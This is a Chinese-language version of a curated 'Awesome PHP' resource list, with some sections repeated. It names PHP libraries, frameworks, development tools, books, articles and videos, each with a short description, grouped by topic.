Stripe -Stripe官方PHP库
Campaign Monitor -Campaign Monitor官方PHP库
Digital Ocean -Digital Ocean API 接口库
Github - Github API交互库
PHP Github API -另一个Github API交互库
Twitter OAuth -Twitter OAuth工作流交互库
Twitter REST - Twitter REST API交互库
Dropbox SDK - The official PHP Dropbox SDK library.
Dropbox SDK - Dropbox SDK官方PHP库
Twilio - The official Twilio PHP REST API.
Twilio - Twilio官方PHP REST API
Mailgun The official Mailgun PHP API.
Mailgun Mailgun官方PHP REST API
Extensions 扩展
帮组构建PHP扩展的库
Zephir -用于开发PHP扩展,且介于PHP和C++之间的编译语言
PHP CPP -一个开发PHP扩展的C++库
Miscellaneous 杂项
不在上面分类中的有用库和工具
Spork -一个处理forking的库
JSON Lint - 一个JSON lint工具
JSONPCallbackValidator -验证JSONP回调的库
Pagerfanta -一个分页库
Ruler - 一个简单的无状态的生产环境规则引擎。
LiteCQRS -一个CQRS(命令查询责任分离)库
Sslurp - 一个使得SSL处理减少的库
PHP Option一个可选的类型库
Metrics -一个简单的度量API库
Sabre VObject - 一个解析VCard和iCalendar对象的库
Annotations -一个注释库(Doctrine部分)
Whoops -一个不错的错误处理库
Finite -一个简单的PHP有限状态机
LadyBug -一个dumper库
Procrastinator -运行耗时任务的库
Compose -一个功能组合库
SuperClosure -一个允许闭包序列化的库
Jumper - 一个远程服务执行库
Underscore -一个Undersccore JS库的PHP实现
PHP PassBook -一个iOS PassBook PHP库
PHP Expression -一个PHP表达式语言
RMT - 一个编写版本和发布软件的库
Wise - 一个配置管理器
Opengraph -一个开放图库
Essence -一个提取web媒体的库
Embera -一个Oembed消费库
Graphviz -一个图形库
Monad PHP 一个简单Monad库
Flux -一个正则表达式构建库
Patchwork - 一个重新定义用户的函数库
Galapagos -语言转换进化
Design Patterns PHP -一个使用PHP实现的设计模式存储库
PHPCR - 一个Java内容存储库(JCR)的PHP实现
Functional PHP - 一个函数式编程库
ClassPreloader - 一个优化自动加载的库
Lib Country -一个国家和地区数据的库
Lib Accessor -一个简化访问的库
PHPStack -一个PHP编写的TCP/IP栈概念
Nmap -一个Nmap PHP包装器
Code Mover -一个移动代码的库
Iter -一个使用生成器提供迭代原语的库
Lambda PHP -一个PHP中的Lambda 计算解析器
Country List - 所有带有名称和ISO 3166-1编码的国家列表
PHP-GPIO - 用于Raspberry PI的GPIO pin的库
print_o - 一个对象图的可视化器
Alias -一个类别名库
Software 软件
创建一个开发环境的软件
PHP安装
在你的电脑上帮助安装和管理PHP的工具
HomeBrew -一个OSX包管理器
HomeBrew PHP -一个HomeBrew的PHP通道
PHP OSX - 一个OSX下的PHP安装器
PHP Brew -一个PHP版本管理和安装器
PHP Env - 另一个PHP版本管理器
PHP Switch - 另一个PHP版本管理器
PHP Build - 另一个PHP版本安装器
VirtPHP - 一个创建和管理独立PHP环境的工具
Development Environment 开发环境
创建沙盒开发环境的软件和工具
Vagrant -一个便携的开发环境工具
Ansible - 一个非常简单的编制框架
Puppet -一个服务器自动化框架和应用
PuPHPet -一个构建PHP开发虚拟机的web工具
Protobox -另一个构建PHP开发虚拟机的web工具
Phansible - 一个用Ansible构建PHP开发虚拟机的web工具
Virtual Machines 虚拟机
相关的PHP虚拟机
HipHop PHP -Facebook出品的PHP虚拟机,运行时和JIT
HippyVM -另一个PHP虚拟机
Hack - 一个PHP进行无缝操作的 HHVM编程语言
IDE 集成开发环境
支持PHP的集成开发环境
Netbeans -一个支持PHP和HTML5的IDE
Eclipse for PHP Developers -一个基于Eclipse平台的PHP IDE
PhpStorm -一个商业PHP IDE
Web Applications Web应用
基于Web的应用和工具
3V4L一个在线的PHP shell
DBV -一个数据库版本控制应用
PHP Queue -一个管理后端队列的应用
Composer as a Service - 作为一个zip文件下载Composer包的工具
MailCatcher - 一个抓取和查看邮件的web工具
Resources 资源
各种提高你的PHP开发技能和知识的资源,比如书籍,网站,文章
PHP网站
PHP相关的有用网站
PHP The Right Way -一个PHP最佳实践的快速指引手册
PHP Best Practices - 一个PHP最佳实践指南
PHP Weekly - 一个PHP新闻周刊
PHP Security - 一个PHP安全指南
PHP FIG - PHP框架交互组
PHP UG -一个帮助用户定位最近的PHP用户组(UG)的网站
Seven PHP -一个PHP社区成员采访的网站
Nomad PHP -一个在线PHP学习资源
PHP Mentoring -点对点PHP导师组织
Other Websites 其他网站
web开发相关的有用网站
The Open Web Application Security Project (OWASP) -一个开放软件安全社区
WebSec IO - 一个web安全社区资源
Web Advent -一个web开发人员日历
Semantic Versioning -一个解析语义版本的网站
Atlassian Git Tutorials -一个Git教程系列
Hg Init -一个Mercurial教程系列
Servers for Hackers - 一个关于服务器管理的新闻通讯
PHP 书籍
PHP相关的非常好的书籍
Scaling PHP Applications - 一本Steve Corona关于扩展PHP应用程序的电子书
The Grumpy Programmer’s Guide to Building Testable PHP Applications -一本Chris Hartjes关于构建PHP应用程序测试的书
Grumpy PHPUnit -一本Chris Hartjes关于使用PHPUnit进行单元测试的书
Mastering Object-Orientated PHP - 一本Brandon Savage关于PHP面向对象的书
Signaling PHP -一本Cal Evans关于在CLI脚本捕获PCNTL 信号的书
Securing PHP: Core Concepts -一本Chris Cornutt关于PHP常见安全条款和实践的书
Modernising Legacy Applications in PHP -一本Paul M.Jones关于遗留PHP应用进行现代化的书
其他书籍
与一般计算和web开发相关的书
The Linux Command Line -William Shotts关于Linux命令行的一本书
Understanding Computation -Tom Stuart关于计算理论的一本书
The Tangled Web — Securing Web Applications - Michal Zalewski关于web应用安全的一本书
Elasticsearch: The Definitive Guide -Clinton Cormley和Zachary Tong编写的与Elasticsearch工作的一本指南
Eloquent JavaScript -Marijin Haverbeke关于JavaScript编程的一本书
Vagrant Cookbook-Erika Heidi关于创建 Vagrant环境的一本书
Pro Git -Scott Chacon和Ben Straub关于Git的一本书
PHP视频
PHP相关的非常不错的视频
Taking PHP Seriously - 来自Facebook Keith Adams 讲述PHP优势
PHP Town Hall - 一个随意的Ben Edmunds和Phil Sturgeon的PHP播客
Programming with Anthony Anthony Ferrara的视频系列
PHP阅读
PHP相关的阅读资料
Create Your Own PHP Framework - 一部Fabien Potencier的关于如何创建你自己的PHP框架的系列文章
Seven Ways to Screw Up BCrypt - 一篇关于纠正BCrypt实现的文章
Preventing CSRF Attacks -一篇组织CSRF攻击的文章
Don’t Worry About BREACH - 一篇关于BREACH攻击和CSRF令牌的文章
On PHP 5.3, Lamda Functions and Closures -一篇关于lambda函数和闭包的文章
Use Env - 一篇关于使用unix环境帮助的文章
Composer Primer - Composer初级
Composer Versioning -一篇关于Composer版本的文章
Composer Stability Flags -一篇关于Composer稳定性标志的文章
Innocent Villagefolk or a Pillagin’ Pirate? -一篇关于PHP从其他语言获取想法的文章
Predicting Random Numbers in PHP -一篇关于生成随机数的文章
A 20 Point List for Preventing XSS in PHP -一篇关于组织XSS的文章
PHP Sucks! But I Like It! -一篇关于PHP利弊的文章
PHP Is Much Better Than You Think -一篇关于PHP语言和生态圈的文章
PHP Internals Reading PHP内核阅读
阅读PHP内核或性能相关的资料
PHP RFCs - PHP RFCs主页(请求注解)
PHP Internals Book - 一本由三名核心开发编写的关于PHP内核的在线书
Print vs Echo, Which One is Faster? -一篇关于打印和echo性能的文章
The PHP Ternary Operator. Fast or Not? -一篇关于三元操作性能的文章
Disproving the Single Quotes Myth -一篇关于单,双引号字符串性能的文章
You’re Being Lied To - 一篇关于内核ZVALs的文章
How Long is a Piece of String -一篇关于字符串原理的文章
Understanding OpCodes -一篇关于伪代码的文章
How Foreach Works -StackOverflow 关于foreach回答的详情
When Does Foreach Copy? -一篇关于foreach原理的文章
How Big Are PHP Arrays (And Values) Really? - 一篇关于数组原理的文章
Why Objects (Usually) Use Less Memory Than Arrays -一篇关于对象和数组原理的文章
PHP Evaluation Order -一篇关于PHP评估顺序的文章
开发人员的PHP源代码: 1 2 3 4 -关于PHP源代码的系列
垃圾收集: 1 2 3 关于PHP垃圾收集原理的系列
php
Awesome PHP
依赖管理 Dependency Management
其他的依赖管理 Dependency Management Extras
框架 Frameworks
其他框架 Framework Extras
框架组件 Components
微型框架 Micro Frameworks
其他微型框架 Micro Framework Extras
路由 Routers
模板 Templating
静态站点生成器 Static Site Generators
HTTP
中间件 Middlewares
URL
Email
文件 Files
流 Streams
依赖注入 Dependency Injection
图像 Imagery
测试 Testing
持续集成 Continuous Integration
文档 Documentation
安全 Security
密码 Passwords
代码分析 Code Analysis
Architectural
调试和分析 Debugging and Profiling
构建工具 Build Tools
任务运行器 Task Runners
导航 Navigation
资源管理 Asset Management
地理位置 Geolocation
日期和时间 Date and Time
事件 Event
日志 Logging
电子商务 E-commerce
PDF
Office
数据库 Database
迁移 Migrations
NoSQL
队列 Queue
搜索 Search
命令行 Command Line
身份验证和授权 Authentication and Authorization
标记 Markup
字符串 Strings
数字 Numbers
过滤和验证 Filtering and Validation
API
缓存 Caching
数据结构和存储 Data Structure and Storage
通知 Notifications
部署 Deployment
国际化和本地化 Internationalisation and Localisation
第三方API Third Party APIs
扩展 Extensions
杂项 Miscellaneous
软件 Software
PHP安装 PHP Installation
开发环境 Development Environment
虚拟机 Virtual Machines
集成开发环境(IDE) Integrated Development Environment
Web应用 Web Applications
基础架构 Infrastructure
资源 Resources
PHP网站 PHP Websites
其他网站 Other Websites
PHP书籍 PHP Books
其他书籍 Other Books
PHP视频 PHP Videos
PHP阅读 PHP Reading
PHP内核阅读 PHP Internals Reading
PHP杂志 PHP Magazines
贡献
依赖管理 Dependency Management
依赖和包管理库
Climb - 一个Composer版本管理工具
Composer Installers - 一个多框架Composer库安装器
Composer/Packagist - 一个包和依赖管理器
Melody - 一个用于构建Composer脚本文件的工具
Pickle - 一个PHP扩展安装器
其他的依赖管理 Dependency Management Extras
其他的相关依赖管理
Composer Checker - 一个校验Composer配置的工具
Composer Merge Plugin - 一个用于合并多个composer.json文件的Composer插件
Composition - 一个在运行时检查Composer环境的库
NameSpacer - 一个转化下划线到命名空间的库
Patch Installer - 一个使用Composer安装补丁的库
Prestissimo - 一个开启并行安装进程的Composer插件
Satis - 一个静态Composer存储库的生成器
Toran Proxy - 一个静态Composer存储库和代理
框架 Frameworks
Web开发框架
Aura PHP - 一个独立的组件框架
CakePHP - 一个快速应用程序开发框架 (CP)
Laravel 5 - 另一个PHP框架 (L5)
Nette - 另一个由个体组件组成的框架
Phalcon - 通过C扩展实现的框架
PPI Framework 2 - 一个互操作性框架
Symfony 2 - 一个独立组件组成的框架 (SF2)
Yii2 - 另一个PHP框架
Zend Framework 2 - 另一个由独立组件组成的框架 (ZF2)
其他框架 Framework Extras
其他Web开发框架
CakePHP CRUD - CakePHP的快速应用程序(RAD)插件
Knp RAD Bundle - Symfony 2的快速应用程序(RAD)包
Symfony CMF - 一个创建自定义CMS的内容管理框架
框架组件 Components
来自web开发框架的独立组件
CakePHP Plugins - CakePHP插件的目录
Hoa Project - 另一个PHP组件包
League of Extraordinary Packages - 一个PHP软件开发组
Symfony2 Components - Symfony 2组件
Zend Framework 2 Components - Zend Framework 2组件
微型框架 Micro Frameworks
微型框架和路由
Bullet PHP - 用于构建REST APIs的微型框架
Lumen - 一个Laravel的微型框架
Proton - 一个StackPHP兼容的微型框架
Silex - 基于Symfony2组件的微型框架
Slim - 另一个简单的微型框架
其他微型框架 Micro Framework Extras
其他相关的微型框架和路由
Silex Skeleton - Silex的项目架构
Silex Web Profiler - 一个Silex web的调试工具
Slim Skeleton - Slim架构
Slim View - Slim自定义视图的集合
路由 Routers
处理应用路由的库
Fast Route - 一个快速路由的库
Klein - 一个灵活的路由的库
Pux - 另一个快速路由的库
Route - 一个基于Fast Route的路由的库
模板 Templating
模板化和词法分析的库和工具
Foil - 另一个原生PHP模板库
Lex - 一个轻量级模板解析器
MtHaml - 一个HAML模板语言的PHP实现
Mustache - 一个Mustache模板语言的PHP实现
Phly Mustache - 另一个Mustache模板语言的PHP实现
PHPTAL - 一个TAL模板语言的PHP实现
Plates - 一个原生PHP模板库
Smarty - 一个模板引擎
Twig - 一个全面的模板语言
静态站点生成器 Static Site Generators
用来生成web页面的预处理内容的工具
Couscous - 一个将Markdown转化为漂亮的网站的工具
Phrozn - 另一个转换Textile,Markdown和Twig为HTML的工具
Sculpin - 转换Markdown和Twig为静态HTML的工具
Spress - 一个能够将Markdown和Twig转化为HTML的可扩展工具
HTTP
用于HTTP的库
Buzz - 另一个HTTP客户端
Guzzle - 一个全面的HTTP客户端
HTTPFul - 一个链式HTTP库
PHP VCR - 一个录制和重放HTTP请求的库
Requests - 一个简单的HTTP库
Retrofit - 一个能轻松创建REST API客户端的库
Scraping
用于网站爬取的库
Embed - 一个从web服务或网页中提取的信息的工具
Goutte - 一个简单的web爬取器
PHP Spider - 一个可配置和可扩展的PHP web爬虫
中间件 Middlewares
使用中间件构建应用程序的库
PSR7-Middlewares - 灵感来源于方便的中间件
Relay - 一个PHP 5.5 PSR-7的中间件调度器
Slim Middleware - 一个用于Slim的自定义的中间件的集合
Stack - 一个用于Silex/Symfony的可堆叠的中间件的库
zend-stratigility - 基于PHP PSR-7之上的中间件之上
URL
解析URL的库
Purl - 一个URL处理库
Uri - 另一个URL处理库
PHP Domain Parser - 一个本地前缀解析库
sabre/uri - 一个URI操作库
Email
发送和解析邮件的库
SwiftMailer - 一个邮件解决方案
PHPMailer - 另一个邮件解决方案
Fetch - 一个IMAP库
Email Reply Parser - 一个邮件回复解析的库
Stampie - 一个邮件服务库,类似于SendGrid,PostMark,MailGun和Mandrill.
CssToInlineStyles - 一个在邮件模板中的内联CSS库
Email Validator - 一个较小的电子邮件验证库
Mautic - 邮件营销自动化
文件 Files
文件处理和MIME类型检测的库
Apache MIME Types - 一个解析Apache MIME类型的库
Canal - 一个检测互联网媒体类型的库
CSV - 一个CSV数据处理库
Ferret - 一个MIME检测库
Flysystem - 另一个文件系统抽象层
Gaufrette - 一个文件系统抽象层
Hoa Mime - 另一个MIME检测库
Lurker - 一个资源跟踪库
PHP FFmpeg - 一个用于FFmpeg视频包装的库
流 Streams
处理流的库
Streamer - 一个简单的面向对象的流包装库
依赖注入 Dependency Injection
实现依赖注入设计模式的库
Pimple - 一个小的依赖注入容器
Auryn - 一个递归的依赖注入容器
Container - 另一个可伸缩的依赖注入容器
PHP-DI - 一个支持自动装配和PHP配置的依赖注入容器
Acclimate - 一个依赖注入容器和服务定位的通用接口
Symfony DI - 一个依赖注入容器组件 (SF2)
图像 Imagery
处理图像的库
Imagine - 一个图像处理库
PHP Image Workshop - 另一个图像处理库
Intervention Image - 另一个图像处理库
GIF Frame Extractor - 一个提取GIF动画帧信息的库
GIF Creator - 一个通过多张图片创建GIF动画的库
Image With Text - 一个在图像中嵌入文本的库
Color Extractor - 一个从图像中提取颜色的库
Glide - 一个按需处理图像的库
Image Optimizer - 一个优化图像的库
Image Hash - 一个用于生成图像哈希感知的库
测试 Testing
测试代码和生成测试数据的库
PHPUnit - 一个单元测试框架
DBUnit - 一个PHPUnit的数据库测试库
ParaTest - 一个PHPUnit的并行测试库
PHPSpec - 一个基于功能点设计的单元测试库
Codeception - 一个全栈测试框架
AspectMock - 一个PHPUnit/Codeception的模拟框架。
Atoum - 一个简单的测试库
Mockery - 一个用于测试的模拟对象的库
Phake - 另一个用于测试的模拟对象的库
Prophecy - 一个可选度很高的模拟框架
Faker - 一个伪数据生成库
Samsui - 另一个伪数据生成库
Alice - 富有表现力的一代库
Behat - 一个行为驱动开发(BDD)测试框架
Pho - 另一个行为驱动开发测试框架
Mink - Web验收测试
HTTP Mock - 一个在单元测试模拟HTTP请求的库
VFS Stream - 一个用于测试的虚拟文件系统流的包装器
VFS - 另一个用于测试虚拟的文件系统
Locust - 一个用Python编写的现代加载测试库
Peridot - 一个事件驱动开发的测试框架
Kahlan - 全栈Unit/BDD测试框架,内置stub,mock和代码覆盖率的支持
持续集成 Continuous Integration
持续集成的库和应用
Travis CI - 一个持续集成平台
SemaphoreCI - 一个开放源码和私人项目的持续集成平台
PHPCI - 一个PHP的开源的持续集成平台
Sismo - 一个持续测试的服务库
Jenkins - 一个PHP支持的持续集成平台
JoliCi - 一个用PHP编写的由Docker支持的持续集成的客户端
GitlabCi - 使用GitLab CI测试、构建、部署你的代码,像TravisCI
文档 Documentation
生成项目文档的库
Sami - 一个API文档生成器
APIGen - 另一个API文档生成器
PHP Documentor 2 - 一个API文档生成器
phpDox - 一个PHP项目的文档生成器(不限于API文档)
daux.io - 一个使用Markdown文件的文档生成器
安全 Security
生成安全的随机数,加密数据,扫描漏洞的库
Halite - 一个简单的使用libsodium的加密库
HTML Purifier - 一个兼容标准的HTML过滤器
IniScan - 一个扫描PHP INI文件安全的库
Optimus - 基于Knuth乘法散列方法的身份混淆工具
PHP Encryption - 一个安全的PHP加密库
PHP IDS - 一个结构化的PHP安全层
PHP SSH - 一个试验的面向对象的SSH包装库
PHPSecLib - 一个纯PHP安全通信库
RandomLib - 一个生成随机数和字符串的库
SecurityMultiTool - 一个PHP安全库
SensioLabs Security Check - 一个为检查Composer依赖提供安全建议的web工具
TCrypto - 一个简单的键值加密存储库
True Random - 使用www.random.org生成随机数的库
VAddy - 一个持续安全的web应用测试平台
Zed - 一个集成的web应用渗透测试工具
密码 Passwords
处理和存储密码的库和工具
GenPhrase - 一个随机生成安全密码哈希的库
Password Compat - 一个新的PHP5.5密码函数的兼容库
Password Policy - 一个PHP和JavaScript的密码策略库
Password Validator - 一个校验和升级密码哈希的库
Password-Generator - 一个生成随机密码的PHP库
PHP Password Lib - 一个生成和校验密码的库
phpass - 一个便携式的密码哈希框架
Zxcvbn PHP - 一个基于Zxcvbn JS的现实的PHP密码强度估计库
代码分析 Code Analysis
分析,解析和处理代码库的库和工具
PHP Parser - 一个PHP编写的PHP解析器
PHPPHP - 一个PHP实现的PHP虚拟机
PHPSandbox - 一个PHP沙盒环境
Dissect - 一个词法和语法分析的工具集合
PHP Mess Detector - 一个扫描代码缺陷,次优代码,未使用的参数等等的库。
PHP Code Sniffer - 一个检测PHP、CSS和JS代码标准冲突的库
PHPCPD - 一个检测复制和粘贴代码的库
PHP Analyser - 一个分析PHP代码查找缺陷和错误的库
PHP CS Fixer - 一个编码标准库
PHP Manipulator - 一个分析和修改PHP源代码的库
PHP Metrics - 一个静态测量库
PHP Refactoring Browser - 一个重构PHP代码的命令行工具集
PHP Semantic Versioning Checker - 一个比较两个源集和确定适当的应用语义版本的命令行实用程序
UBench - 一个简单的微型基准检测库
Athletic - 一个基于注释的基准检测库
Mondrian - 使用图论的代码分析工具
Scrutinizer - 一个审查PHP代码的web工具
PHPLOC - 一个快速测量PHP项目大小的工具
PHPCheckstyle - 一个帮助遵守特定的编码惯例的工具
PhpDependencyAnalysis - 一个创建可定制依赖图的工具
Code Climate - 一个自动代码审查工具
Architectural
相关的设计模式库,组织代码编程的方法和途径
PHP Option - 一个可选的类型库
Ruler - 一个简单的无状态的生产环境规则引擎
Finite - 一个简单的PHP有限状态机
Compose - 一个功能组合库
Monad PHP - 一个简单Monad库
Patchwork - 一个重新定义用户的函数库
Galapagos - 语言转换进化
Design Patterns PHP - 一个使用PHP实现的设计模式存储库
Functional PHP - 一个函数式编程库
Iter - 一个使用生成器提供迭代原语的库
Pipeline - 一个管道模式的实现
调试和分析 Debugging and Profiling
调试和分析代码的库和工具
APM - 一个收集SQLite/MySQL/StatsD错误信息和统计信息的监控扩展
Barbushin PHP Console - 另一个使用Google Chrome的web调试控制台
Blackfire.io - 一个低开销的代码分析器
Kint - 一个调试和分析工具
PHP Console - 一个web调试控制台
PHP Debug Bar - 一个调试工具栏
PHPBench - 一个基准测试框架
PHPDBG - 一个交互的PHP调试器
Tracy - A一个简单的错误检测,写日志和时间测量库
xDebug - 一个调试和分析PHP的工具
xHprof - 另一个PHP分析工具
Z-Ray - 一个调试和配置Zend服务器的工具
构建工具 Build Tools
项目构建和自动化工具
Bob - 一个简单的项目自动化工具
Phake - 一个PHP克隆库
Box - 一个构建PHAR文件的工具
Phing - 一个灵感来自于Apache Ant的PHP项目构建系统
任务运行器 Task Runners
自动运行任务的库
Task - 一个灵感来源于Grunt和Gulp的纯PHP任务运行器
Robo - 一个面向对象配置的PHP任务运行器
Bldr - 一个构建在Symfony组件上的PHP任务运行器
Jobby - 一个没有修改crontab的PHP定时任务管理器
导航 Navigation
构建导航结构的工具
KnpMenu - 一个菜单库
Cartographer - 一个站点地图生成库
资源管理 Asset Management
管理,压缩和最小化web站点资源的工具
Assetic - 一个资源管理的管道库
Pipe - 另一个资源管理的管道库
Munee - 一个资源优化库
JShrink - 一个JavaScript的最小化库
Puli - 一个检测资源绝对路径的库
地理位置 Geolocation
地理编码地址和使用纬度经度的库
GeoCoder - 一个地理编码库
GeoTools - 一个地理工具相关的库
PHPGeo - 一个简单的地理库
GeoJSON - 一个GeoJSON的实现
日期和时间 Date and Time
处理日期和时间的库
Carbon - 一个简单的日期时间API扩展
ExpressiveDate - 另一个日期时间API扩展
CalendR - 一个日历管理库
事件 Event
时间驱动或实现非阻塞事件循环的库
React - 一个事件驱动的非阻塞I/O库.
Rx.PHP - 一个reactive扩展库
Ratchet - 一个web socket库
Hoa WebSocket - 另一个web socket库
Hoa EventSource - 一个事件源库
Evenement - 一个事件调度的库
Event - 一个专注于域名事件的库
Cake Event - 一个事件调度的库 (CP)
Broadway - 一个事件源和CQRS(命令查询责任分离)库
Prooph Event Store - 一个持久化事件消息的事件源组件
Hprose-PHP - 一个很牛的RPC库,现在支持25+种语言
日志 Logging
生成和处理日志文件的库
Monolog - 一个全面的日志工具
KLogger - 一个易用的兼容PSR-3的日志类
Analog - 一个基于闭包的微型日志包
电子商务 E-commerce
处理支付和构建在线电子商务商店的库和应用
Money - 一个Fowler金钱模式的PHP实现
OmniPay - 一个框架混合了多网关支付处理的库
Payum - 一个支付抽象库
Sebastian Money - 另一个处理货币值的库
Shopware - 一个可高度定制的电子商务软件
Swap - 一个汇率库
Sylius - 一个开源的电子商务解决方案
Thelia - 另一个开源的电子商务解决方案
PDF
处理PDF文件的库和软件
Dompdf - 一个将HTML转换为PDF的工具
PHPPdf - 一个将XML文件转换为PDF和图片的库
Snappy - 一个PDF和图像生成器库
WKHTMLToPDF - 一个将HTML转换为PDF的工具
Office
Libraries for working with office suite documents.
ExcelAnt - 一个操作Excel文档的库
PHPExcel - 一个处理Excel文档的库
PHPPowerPoint - 一个处理PPT文档的库
PHPWord - 一个处理Word文档的库
数据库 Database
使用对象关系映射(ORM)或数据映射技术的数据库交互的库
Baum - 一个Eloquent的嵌套集实现
Cake ORM - 对象关系映射工具,利用DataMapper模式实现 (CP)
Doctrine Extensions - 一个Doctrine行为扩展的集合
Doctrine - 一个全面的DBAL和ORM
Eloquent - 一个简单的ORM(L5)
LazyRecord - 一个简单、可扩展、高性能的ORM
Pomm - 一个PostgreSQL对象模型管理器
Propel - 一个快速的ORM,迁移库和查询构架器
ProxyManager - 一个为数据映射生成代理对象的工具集
RedBean - 一个轻量级,低配置的ORM
Spot2 - 一个MySQL的ORM映射器
迁移 Migrations
帮助管理数据库模式和迁移的库
PHPMig - 另一个迁移管理库
Phinx - 另一个数据库迁移的管理库
Migrations - 一个迁移管理库
Doctrine Migrations - 一个Doctrine的迁移库
Ruckusing - 基于PHP下ActiveRecord的数据库迁移,支持MySQL, Postgres, SQLite
NoSQL
处理NoSQL后端的库
Monga - 一个MongoDB抽象库
MongoQB - 一个MongoDB查询构建库
PHPMongo - 一个MongoDB ORM.
Predis - 一个功能完整的Redis库
队列 Queue
处理事件和任务队列的库
Bernard - 一个多后端抽象库
Pheanstalk - 一个Beanstalkd客户端库
PHP AMQP - 一个纯PHP AMQP库
Thumper - 一个RabbitMQ模式库
搜索 Search
在数据上索引和执行查询的库和软件
Elastica - ElasticSearch的客户端库
ElasticSearch PHP - ElasticSearch的官方客户端库
Solarium - Solr的客户端库
Sphinx Search - Sphinx搜索库,提供SphinxQL索引和搜索的功能
SphinxQL query builder - Sphinx搜索引擎的的查询库
命令行 Command Line
关于命令行工具的库
Boris - 一个微型PHP REPL
PsySH - 另一个PHP REPL
Pecan - 一个事件驱动和非阻塞的shell
GetOpt - 一个命令行选择解析器
OptParse - 另一个命令行选择解析器
Commando - 另一个简单的命令行选择解析器
GetOptionKit - 另一个命令行选择解析器
Cron Expression - 一个计算cron运行日期的库
ShellWrap - -一个简单的命令行包装库
Hoa Console - 另一个命令行库
Shunt - 一个在多台远程机器上并行运行命令行的库
Cilex - 一个构建命令行工具的微型框架
CLImate - 一个输出带颜色的和特殊格式的命令行库
CLI Menu - 一个构建CLI菜单的库
CLIFramework - 一个支持完全zsh/bash、子命令和选项约束的命令行框架,这也归功于phpbrew
身份验证和授权 Authentication and Authorization
实现身份验证和授权的库
Sentinel - 一个混合的身份验证和授权的框架库
Sentinel Social - 一个社交网络身份验证库
Opauth - 一个多渠道的身份验证框架
OAuth2 Server - 一个OAuth2身份验证服务,资源服务器和客户端库
OAuth2 Server - 另一个OAuth2服务器实现
PHP oAuthLib - 另一个OAuth库
TwitterOAuth - 一个Twitter OAuth库
TwitterSDK - 一个完全测试的Twitter SDK
Hawk - 一个Hawk HTTP身份认证库
HybridAuth - 一个开源的社交登陆库
Lock - 一种实现访问控制列表(ACL)系统的库
OAuth 1.0 Client - 一个OAuth 1.0客户端的库
OAuth 2.0 Client - 一个OAuth 2.0客户端的库
标记 Markup
处理标记的库
Decoda - 一个轻量级标记解析库
PHP Markdown - 一个Markdown解析器
CommonMark PHP - 一个对CommonMark spec全支持的Markdown解析器
Parsedown - 另一个Markdown解析器
Ciconia - 另一个支持Github Markdown风格的Markdown解析器
Cebe Markdown - 一个快速的可扩展的Markdown解析器
HTML to Markdown - 将HTML转化为Markdown
HTML5 PHP - 一个HTML5解析和序列化库
Emoji - 一个把Unicode字符和名称转换为表情符号图片的库
字符串 Strings
解析和处理字符串的库
Agent - 一个基于Mobiledetect的桌面/手机端user agent解析库
ANSI to HTML5 - 一个将ANSI转化为HTML5的库
Color Jizz - 处理和转换颜色的库
Device Detector - 另一个解析user agent字符串的库
Hoa String - 另一个UTF-8字符串库
Mobile-Detect - 一个用于检测移动设备的轻量级PHP类(包括平板电脑)
Patchwork UTF-8 - 一个处理UTF-8字符串的便携库
Slugify - 转换字符串到slug的库
SQL Formatter - 一个格式化SQL语句的库
Stringy - 一个多字节支持的字符串处理库
Text - 一个文本处理库
UA Parser - 一个解析user agent字符串的库
URLify - 一个Django中URLify.js的PHP版本
UUID - 生成UUIDs的库
数字 Numbers
处理数字的库
Numbers PHP - 一个处理数字的库
Math - 一个处理巨大数字的库
ByteUnits - 一个在二进制和度量系统中解析,格式化和转换字节单元的库
PHP Units of Measure - 一个计量单位转换的库
PHP Conversion -另一个计量单位转换的库
LibPhoneNumber for PHP - 一个Google电话号码处理的PHP实现库
过滤和验证 Filtering and Validation
过滤和验证数据的库
Cake Validation - 另一个验证库 (CP)
DMS Filter - 一个注释过滤库
Filterus - 一个简单的PHP过滤库
ISO-codes - 一个验证各种ISO和ZIP编码的库(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN)
MetaYaml - 一个支持YAML,JSON和XML的模式验证库
Respect Validation - 一个简单的验证库
Upload - 一个处理文件上传和验证的库
Valitron - 另一个验证库
Volan - 另一个简单的验证库
API
开发REST-ful API的库和web工具
API Platform - 暴露出REST API的项目,包含JSON-LD, Hydra格式
Apigility - 一个使用Zend Framework 2构建的API构建器
Drest - 一个将Doctrine实体暴露为REST资源节点的库
HAL - 一个超文本应用语言(HAL)构建库
Hateoas - 一个HOATEOAS REST web服务库
Negotiation - 一个内容协商库
Restler - 一个将PHP方法暴露为RESTful web API的轻量级框架
wsdl2phpgenerator - 一个从SOAP WSDL文件生成PHP类的工具
缓存 Caching
缓存数据的库
Alternative PHP Cache (APC) - 打开PHP操作码缓存
APIx Cache - 一个轻量级的PSR-6缓存
CacheTool - 一个使用命令行清除apc/opcode缓存的工具
Cake Cache - 一个缓存库 (CP)
Doctrine Cache - 一个缓存库
Stash - 另一个缓存库
Zend Cache - 另一个缓存库 (ZF2)
数据结构和存储 Data Structure and Storage
实现数据结构和存储技术的库
Ardent - 一个数据结构库
Cake Collection - 一个简单的集合库 (CP)
Collections - 一个PHP的集合抽象库
Fractal - 一个转换复杂数据结构到JSON输出的库
Ginq - 另一个基于.NET实现的PHP的LINQ库
JsonMapper - 一个将内嵌JSON结构映射为PHP类的库
PHP Collections - 一个简单的集合库
PINQ - 一个基于.NET实现的PHP的LINQ(Language Integrated Query)库
Serializer - 一个序列化和反序列化数据的库
Totem - -一个管理和创建数据交换集的库
YaLinqo - 另一个PHP的LINQ库
Zend Serializer - 另一个序列化和反序列化数据的库 (ZF2)
通知 Notifications
处理通知软件的库
JoliNotif - 一个跨平台的桌面通知库(支持Growl, notify-send, toaster等)
Nod - 一个通知库(Growl等)
Notification Pusher - 一个设备推送通知的独立库
Notificato - 一个处理推送通知的库
Notificator - 一个轻量级的通知库
部署 Deployment
项目部署库
Pomander - 一个PHP应用部署工具
Rocketeer - PHP世界里的一个快速简单的部署器
Envoy - 一个用PHP运行SSH任务的工具
Plum - 一个部署库
Deployer - 一个部署工具
国际化和本地化 Internationalisation and Localisation
国际化(I18n)和本地化(L10n)的库
Aura Intl
Cake I18n - 消息国际化和日期和数字的本地化 (CP)
第三方API Third Party APIs
访问第三方API的库
Amazon Web Service SDK - PHP AWS SDK官方库
S3 Stream Wrapper - Amazon S3流包装库
Stripe - Stripe官方PHP库
Campaign Monitor - Campaign Monitor官方PHP库
Digital Ocean - Digital Ocean API接口库
Github - 一个Github API交互库
PHP Github API - 另一个Github API交互库
Twitter OAuth - 一个Twitter OAuth工作流交互库
Twitter REST - 一个Twitter REST API交互库
Dropbox SDK - Dropbox SDK官方PHP库
